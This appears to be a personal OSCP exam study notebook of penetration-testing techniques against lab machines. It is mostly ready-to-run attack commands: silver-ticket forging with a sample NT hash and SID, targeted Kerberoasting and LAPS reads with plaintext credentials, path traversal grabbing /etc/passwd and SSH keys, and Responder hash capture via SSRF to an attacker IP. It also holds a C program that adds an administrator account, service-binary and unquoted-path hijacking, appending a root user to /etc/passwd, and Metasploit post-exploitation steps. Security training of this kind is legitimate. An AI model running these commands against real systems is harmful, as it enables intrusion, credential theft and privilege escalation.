/force # Force an immediate update without waiting for the default refresh interval
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| # An interesting use of a silver ticket
# MSSQL may run on the domain controller, and svc_mssql can authenticate directly with Kerberos as a service account
# A normal service account may be unable to enable xmdshell, so create a silver ticket
# MSSQL is already accessible and login succeeds
impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
impacket-mssqlclient -k nagoya.nagoya-industries.com
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
# PowerView
Get-DomainSID
# Native PowerShell
(Get-ADDomain).DomainSID.Value
|
1
| Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| # Set the ticket location
export KRB5CCNAME=$PWD/Administrator.ccache
# This differs from the usual approach, where importing a ticket through KRB5CCNAME is sufficient
# Importing a silver ticket appears to also require the configuration file below
/etc/krb5user.conf
[libdefaults]
default_realm = NAGOYA-INDUSTRIES.COM
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
rdns = false
dns_canonicalize_hostname = false
fcc-mit-ticketflags = true
[realms]
NAGOYA-INDUSTRIES.COM = {
kdc = nagoya.nagoya-industries.com
}
[domain_realm]
.nagoya-industries.com = NAGOYA-INDUSTRIES.COM
# Connect to MSSQL, preferably with Impacket
impacket-mssqlclient -k nagoya.nagoya-industries.com
Kerberos configuration-file search order:
Location specified by the KRB5_CONFIG environment variable
/etc/krb5.conf (default location)
/etc/krb5user.conf
~/.krb5user.conf
# Only modify these sections:
default_realm = YOUR.DOMAIN.COM # Domain name
[realms]
YOUR.DOMAIN.COM = {
kdc = dc.your.domain.com # Domain controller
}
[domain_realm]
.your.domain.com = YOUR.DOMAIN.COM # Domain mapping
Other settings can remain unchanged:
kdc_timesync
ccache_type
forwardable
proxiable
rdns
These control Kerberos behavior and usually do not need modification.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # If BloodHound shows GenericWrite over a user, that user's SPN can be modified
# Then obtain a TGT; this is an interesting technique
targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.208.40
https://wadcoms.github.io/wadcoms/targetedKerberoast/
targetedKerberoast differs from ordinary Kerberoasting:
Ordinary Kerberoasting:
powershellCopy# Any domain user can run this
Get-DomainUser -SPN # Enumerate all SPNs
Rubeus.exe kerberoast # Request tickets for all SPNs
Targeted Kerberoasting:
Requires GenericWrite permission
Can temporarily add an SPN to a normal user
Remove the SPN after obtaining the ticket
|
1
2
3
4
5
6
| # This can be found in BloodHound
# The current user has ReadLAPSPassword permission
# This allows reading local-administrator passwords for domain machines
ldapsearch -v -c -D [email protected] -w password -b "DC=domain,DC=com" -H ldap://DC_IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -v -c -D [email protected] -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -H ldap://$IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
|
100.Some OSCP Details
Arbitrary File Read
Arbitrary file reads are mostly useful for grabbing important data such as SSH private keys. Reading one in a browser can mangle its formatting, though. I had run into this before and never found a good solution—I would guess the line lengths and add the line breaks one by one. OSCP called out a much cleaner approach.
It turns out that curl is all you need.
1
2
3
4
| curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
--path-as-is
This argument prevents curl from normalizing ../../ into /
|
Directory Wordlists for Testing
1
2
3
4
| C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
|
Apache 2.4.49 Directory Traversal Vulnerability
1
2
3
| curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --path-as-is
curl http://192.168.50.16/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/opt/passwd --path-as-is
|
responder
1
2
3
4
5
6
7
8
9
10
11
| ip a
sudo responder -I tun0
sudo responder -I tun0 -v
An interesting case
When a domain host has an SSRF vulnerability, I usually make it send an HTTP request to the attacker machine
HTTP requests usually require no authentication, so they do not carry HTLM
SMB and WebDAV do carry it and can be combined with a pseudo-protocol
file:////192.168.45.184/share
Or WebDAV
http://192.168.45.184/share
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| # All groups to which the current user belongs
whoami /groups
powershell
# Local users, enabled status, and descriptions
Get-LocalUser
# Local groups
Get-LocalGroup
# Use the group name above as an argument to view its members
Get-LocalGroupMember adminteam
# Routing table
route print
# View all applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
# View processes
Get-Process
# Similar to find; the approach is useful
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
# Transcript files may contain credentials
C:\Users\Public\Transcripts\transcript01.txt
# Search history
(Get-PSReadlineOption).HistorySavePath
# Files that may contain passwords
C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
# Existing services
# This filters out services that are not running
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# Show all services
Get-CimInstance -ClassName win32_service | Select Name,State,PathNam
|
1
2
| # View file permissions
icacls "C:\xampp\apache\bin\httpd.exe"
|
| Mask | Permissions |
|---|
| F | Full access |
| M | Modify access |
| RX | Read and execute access |
| R | Read-only access |
| W | Write-only access |
When replacing a service executable, you can compile one yourself.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| adduser.c
```c
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}
```text
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Then use net stop or net start on the service
# View the target service's startup type
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
AUTO means automatic startup
|
PowerUp.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| powershell -ep bypass
. .\PowerUp.ps1
# Show modifiable services
Get-ModifiableServiceFile
# Replace the binary in one step; by default, this creates a local user named john with password Password123!
Install-ServiceBinary -Name 'mysql'
# Manual test: check permissions
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles
ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users {WriteOwner, Delete, WriteAttributes, Synchronize...}
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles
ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles
|
DLL Hijacking
1
2
3
4
| Principle: use the command below to identify the software version, then search for an exploit by vulnerability type
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
FileZilla FTP 3.63.1 is vulnerable to DLL hijacking
|
Unquoted Service Paths (A Very Important and Interesting Trick)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # Enumerate running and stopped services
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,displayname,pathname,startmode |findstr /i "auto"
For example, the configured path below is unquoted
C:\Program Files\My Program\My Service\service.exe
Principle
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
Then restart the service
|
In this example, we could name the executable Program.exe and place it in C:, name it My.exe and place it in C:\Program Files, or name it My.exe and place it in C:\Program Files\My Program. The first two options require permissions we are unlikely to have because standard users cannot write to those directories by default. The third is more plausible because it is the application’s main directory. If an administrator or developer configured its permissions too loosely, we can place a malicious binary there.
1
2
3
4
5
6
7
8
9
10
| # Detailed command
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"
Find a directory where the current user has W permission, then place an EXE file there
After finding one, run the command below
Stop-Service GammaService
Start-Service GammaService
|
This is another PowerUp.ps1 technique.
1
2
3
4
5
6
7
8
9
10
| PowerUp.ps1
. .\PowerUp.ps1
# Like the above, output vulnerable services
Get-UnquotedService
# Select the write path
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
# Restart the service
Restart-Service GammaService
The default behavior creates a new local user named john with password Password123!
|
Scheduled Task Privilege Escalation
1
2
3
4
5
6
7
8
| # View scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "Every:"
schtasks /query /fo LIST /v | findstr /i /C:"TaskName" /C:"Every:" /C:"Task To Run:"
# Identify the specific task
schtasks /query /tn "\Microsoft\Windows\SomeTask" /fo LIST /v
# Confirm permissions, then replace it
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
|
Exploit-Based Privilege Escalation
1
2
3
| whoami /priv
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| ls -l /etc/shadow
cat /etc/issue
cat /etc/os-release
uname -a
ps aux
ip a
routel #Routing table
ss -anp #All connections
cat /etc/iptables/rules.v4 #Firewall configuration
ls -lah /etc/cron* #Scheduled tasks
crontab -l #Scheduled tasks
dpkg -l #Installed applications
find / -writable -type d 2>/dev/null #Writable directories
cat /etc/fstab #Show mounted drives
mount #Mounted filesystems
lsblk #View available disks
lsmod #View loaded kernel modules
/sbin/modinfo libata #View more information about the module identified above
.bashrc #Script that automatically sets environment variables and may contain useful information
env #View environment variables that may contain useful information
watch -n 1 "ps -aux | grep pass" #Similar to a lightweight pspy32
sudo tcpdump -i lo -A | grep "pass" #Capture traffic
grep "CRON" /var/log/syslog #View automated tasks in system logs; also similar to a lightweight pspy32
/usr/sbin/getcap -r / 2>/dev/null #Privilege escalation with cap_setuid+ep
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
# A searchsploit technique
|
/etc/passwd Abuse
1
2
| openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
|
How to Build a New Wordlist
1
2
| # Generate new passwords from a base password according to minimum and maximum lengths
crunch 6 6 -t Lab%%% > wordlist
|
Windows Privilege Escalation
I am only noting part of it here, mostly as a reminder.
1
2
3
4
5
| When all other methods fail, inspect the winPEASany.exe output carefully
It is comprehensive; the manual methods below cover information already integrated into winPEASany.exe
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#putty-ssh-host-keys
Service privilege escalation
wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|
msf Post-Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| # Indicates whether the target machine is in use; the output below means the user has been away for nine minutes
idletime
User has been idle for: 9 mins 53 secs
# First action
getsystem
# Process migration
migrate 8052
# Start a hidden Notepad process and migrate into it
execute -H -f notepad
migrate 8052
# Run this first in PowerShell to bypass the system execution-policy restriction
PowerShell -ExecutionPolicy Bypass
powershell -ep bypass
# Port forwarding
portfwd add -l 3389 -p 3389 -r 172.16.5.200
# Configure the proxy
use auxiliary/server/socks_proxy
show options
set SRVHOST 127.0.0.1
set VERSION 5
run -j
This creates a SOCKS5 proxy on local port 1080 for use with proxychains
|
101.Some OSCP Ideas
I came across some interesting lessons while reading oscptext. These ideas are worth writing down.
When you find an arbitrary file read, do not blindly trust the PoC. Remember to test it manually—the PoC itself may simply fail.
For file inclusion, try writing to a log and then reading it: ../../../../../../../../../var/log/apache2/access.log /opt/admin.bak.php
File uploads can sometimes overwrite existing files. Try overwriting the public key.
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
UAC bypass is a pretty interesting technique. After Import-Module NtObjectManager, Get-NtTokenIntegrityLevel will tell you the integrity level. If it is Medium, you can try a UAC bypass.
102.Post-Exploitation Scripts
https://github.com/rebootuser/LinEnum
https://linpeas.sh/
https://github.com/DominicBreuker/pspy
aes:https://tool.lmeee.com/jiami/aes
rsa:https://www.bejson.com/enc/rsa/
phpinfo LFI race condition: https://github.com/vulhub/vulhub/tree/master/php/inclusion
SSH tunneling: https://wangdoc.com/ssh/port-forwarding, https://harttle.land/2022/05/02/ssh-port-forwarding.html
Windows exploit analysis: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
Windows EternalBlue series: https://github.com/SecWiki/windows-kernel-exploits